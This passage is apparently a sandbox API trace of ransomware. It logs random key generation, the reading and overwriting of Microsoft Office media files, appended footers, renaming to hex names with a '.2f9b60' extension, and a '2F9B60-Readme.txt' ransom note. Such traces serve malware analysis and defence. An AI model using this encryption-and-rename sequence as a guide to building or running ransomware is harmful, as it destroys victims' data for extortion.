returned 0x7e43a257 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x74b6f00 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x43275494 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x42af2965 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x7cb231c2 [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x5f133db8 [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x2393615b [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x7cfeea1a [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x2462e1cf [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x3c53449f [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x65b06878 [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x2c06032d [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x2a00cc47 [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x1e5c66cf [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x45e8602e [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x74d65a9b [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x7a61d7a2 [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x758cf09 [0137.304] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x52e0018 [0137.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0137.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0137.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0137.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7d0) returned 1 [0137.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0137.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7d0) returned 1 [0137.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2030a0b0 [0137.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2036bd40 [0137.314] ReadFile (in: hFile=0x1dec, lpBuffer=0x2030a0b0, nNumberOfBytesToRead=0x2fd8, lpNumberOfBytesRead=0x26edf550, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesRead=0x26edf550*=0x2fd8, lpOverlapped=0x0) returned 1 [0137.346] SetFilePointerEx (in: hFile=0x1dec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.346] WriteFile (in: hFile=0x1dec, lpBuffer=0x2036bd40*, nNumberOfBytesToWrite=0x2fd8, lpNumberOfBytesWritten=0x26edf554, lpOverlapped=0x0 | out: lpBuffer=0x2036bd40*, lpNumberOfBytesWritten=0x26edf554*=0x2fd8, lpOverlapped=0x0) returned 1 [0137.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0137.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0137.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036bd40) returned 1 [0137.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0137.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a350 [0137.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a170 [0137.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0137.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0137.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0137.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0137.374] SetFilePointerEx (in: hFile=0x1dec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.374] WriteFile (in: hFile=0x1dec, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x26edf670, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x26edf670*=0x10a, lpOverlapped=0x0) returned 1 [0137.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0137.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0137.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0137.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0137.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0137.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0137.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ed30 [0137.437] sprintf (in: _Dest=0x1cd9ed30, _Format="%c%c" | out: _Dest="fe") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed32, _Format="%c%c" | out: _Dest="a9") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed34, _Format="%c%c" | out: _Dest="1b") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed36, _Format="%c%c" | out: _Dest="9b") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed38, _Format="%c%c" | out: _Dest="90") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed3a, _Format="%c%c" | out: _Dest="0f") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed3c, _Format="%c%c" | out: _Dest="5b") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed3e, _Format="%c%c" | out: _Dest="72") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed40, _Format="%c%c" | out: _Dest="3a") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed42, _Format="%c%c" | out: _Dest="52") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed44, _Format="%c%c" | out: _Dest="73") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed46, _Format="%c%c" | out: _Dest="24") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed48, _Format="%c%c" | out: _Dest="19") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed4a, _Format="%c%c" | out: _Dest="ee") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed4c, _Format="%c%c" | out: _Dest="a6") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed4e, _Format="%c%c" | out: _Dest="c7") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed50, _Format="%c%c" | out: _Dest="44") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed52, _Format="%c%c" | out: _Dest="ae") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed54, _Format="%c%c" | out: _Dest="bc") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed56, _Format="%c%c" | out: _Dest="b1") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed58, _Format="%c%c" | out: _Dest="7c") returned 2 [0137.437] sprintf (in: _Dest=0x1cd9ed5a, _Format="%c%c" | out: _Dest="43") returned 2 [0137.438] sprintf (in: _Dest=0x1cd9ed5c, _Format="%c%c" | out: _Dest="02") returned 2 [0137.438] sprintf (in: _Dest=0x1cd9ed5e, _Format="%c%c" | out: _Dest="9b") returned 2 [0137.438] RtlInitAnsiString (in: DestinationString=0x26edf6e8, SourceString="fea91b9b900f5b723a52732419eea6c744aebcb17c43029b" | out: DestinationString="fea91b9b900f5b723a52732419eea6c744aebcb17c43029b") [0137.438] RtlAnsiStringToUnicodeString (in: DestinationString=0x26edf6b8, SourceString="fea91b9b900f5b723a52732419eea6c744aebcb17c43029b", AllocateDestinationString=1 | out: DestinationString="fea91b9b900f5b723a52732419eea6c744aebcb17c43029b") returned 0x0 [0137.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8c90 [0137.438] RtlFreeAnsiString (AnsiString="f") [0137.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ed30) returned 1 [0137.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0137.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0137.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0137.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0137.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0137.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ded0) returned 1 [0137.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0137.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0137.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20508ef0 [0137.439] wcscat (in: _Dest=0x20508ef0, _Source="fea91b9b900f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fea91b9b900f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fea91b9b900f" [0137.439] wcscat (in: _Dest=0x20508ef0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fea91b9b900f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fea91b9b900f.2f9b60" [0137.439] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fea91b9b900f.2f9b60", NtPathName=0x26edf690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fea91b9b900f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bc10 [0137.439] NtSetInformationFile (FileHandle=0x1dec, IoStatusBlock=0x26edf730, FileInformation=0x2050bc10, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0146.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293990) returned 1 [0146.863] NtQueryInformationFile (in: FileHandle=0x1dec, IoStatusBlock=0x26edf6f8, FileInformation=0x26edf708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x26edf6f8, FileInformation=0x26edf708) returned 0x0 [0146.863] NtSetInformationFile (FileHandle=0x1dec, IoStatusBlock=0x26edf6f8, FileInformation=0x26edf708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508ef0) returned 1 [0146.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8c90) returned 1 [0146.972] FlushFileBuffers (hFile=0x1dec) returned 1 [0146.975] CloseHandle (hObject=0x1dec) returned 1 [0147.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ae90 [0147.276] wcscpy (in: _Dest=0x1b86ae90, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.277] wcscat (in: _Dest=0x1b86ae90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ae90) returned 1 [0147.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c000) returned 1 Thread: id = 1770 os_tid = 0x17a4 [0132.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf")) returned 0x20 [0133.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF", dwFileAttributes=0x20) returned 1 [0134.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1db4 [0136.740] GetFileSizeEx (in: hFile=0x1db4, lpFileSize=0x27e9f760 | out: lpFileSize=0x27e9f760*=8782) returned 1 [0136.740] SetFilePointerEx (in: hFile=0x1db4, liDistanceToMove=0x224a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.740] ReadFile (in: hFile=0x1db4, lpBuffer=0x27e9f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27e9f728, lpOverlapped=0x0 | out: lpBuffer=0x27e9f6e0*, lpNumberOfBytesRead=0x27e9f728*=0x4, lpOverlapped=0x0) returned 1 [0136.772] SetFilePointerEx (in: hFile=0x1db4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0136.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0136.773] NtQuerySystemTime (in: CurrentTime=0x27e9f620 | out: CurrentTime=0x27e9f620*=132462177420142000) returned 0x0 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x73ca7316 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x70be4e3d [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x40e913db [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x4983b541 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x3eaaa846 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x5bb214f9 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x69b76150 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x6638dbeb [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x7ce48ae2 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x75ed7399 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x5936332a [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x673c0feb [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x7f3c6562 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x5bc3e827 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x31fd9ccc [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x76c2e928 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0xc39acf9 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x111b2815 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x16205af5 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x50d43c75 [0136.773] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x47df89b8 [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0xd629008 [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x265ebebb [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0xfe96909 [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x1762f557 [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x6f9c9a54 [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x20f76a16 [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x5ff65a6a [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x10ef332d [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x408652ca [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x35fabcef [0136.774] RtlRandomEx (in: Seed=0x27e9f610 | out: Seed=0x27e9f610) returned 0x129e7f6a [0136.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0136.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0136.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0136.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20320910 [0136.788] ReadFile (in: hFile=0x1db4, lpBuffer=0x203190f0, nNumberOfBytesToRead=0x224e, lpNumberOfBytesRead=0x27e9f610, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x27e9f610*=0x224e, lpOverlapped=0x0) returned 1 [0136.797] SetFilePointerEx (in: hFile=0x1db4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.797] WriteFile (in: hFile=0x1db4, lpBuffer=0x20320910*, nNumberOfBytesToWrite=0x224e, lpNumberOfBytesWritten=0x27e9f614, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesWritten=0x27e9f614*=0x224e, lpOverlapped=0x0) returned 1 [0136.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0136.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0136.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0136.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a350 [0136.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a110 [0136.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a110) returned 1 [0136.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a110 [0136.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0136.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0136.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166f20 [0136.810] SetFilePointerEx (in: hFile=0x1db4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.810] WriteFile (in: hFile=0x1db4, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27e9f730, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x27e9f730*=0x10a, lpOverlapped=0x0) returned 1 [0136.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f9b0 [0136.840] sprintf (in: _Dest=0x1cd9f9b0, _Format="%c%c" | out: _Dest="6e") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9b2, _Format="%c%c" | out: _Dest="b1") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9b4, _Format="%c%c" | out: _Dest="8b") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9b6, _Format="%c%c" | out: _Dest="61") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9b8, _Format="%c%c" | out: _Dest="e2") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9ba, _Format="%c%c" | out: _Dest="28") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9bc, _Format="%c%c" | out: _Dest="c4") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9be, _Format="%c%c" | out: _Dest="f4") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9c0, _Format="%c%c" | out: _Dest="ed") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9c2, _Format="%c%c" | out: _Dest="23") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9c4, _Format="%c%c" | out: _Dest="22") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9c6, _Format="%c%c" | out: _Dest="26") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9c8, _Format="%c%c" | out: _Dest="e2") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9ca, _Format="%c%c" | out: _Dest="44") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9cc, _Format="%c%c" | out: _Dest="ba") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9ce, _Format="%c%c" | out: _Dest="ca") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9d0, _Format="%c%c" | out: _Dest="23") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9d2, _Format="%c%c" | out: _Dest="40") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9d4, _Format="%c%c" | out: _Dest="eb") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9d6, _Format="%c%c" | out: _Dest="94") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9d8, _Format="%c%c" | out: _Dest="05") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9da, _Format="%c%c" | out: _Dest="45") returned 2 [0136.840] sprintf (in: 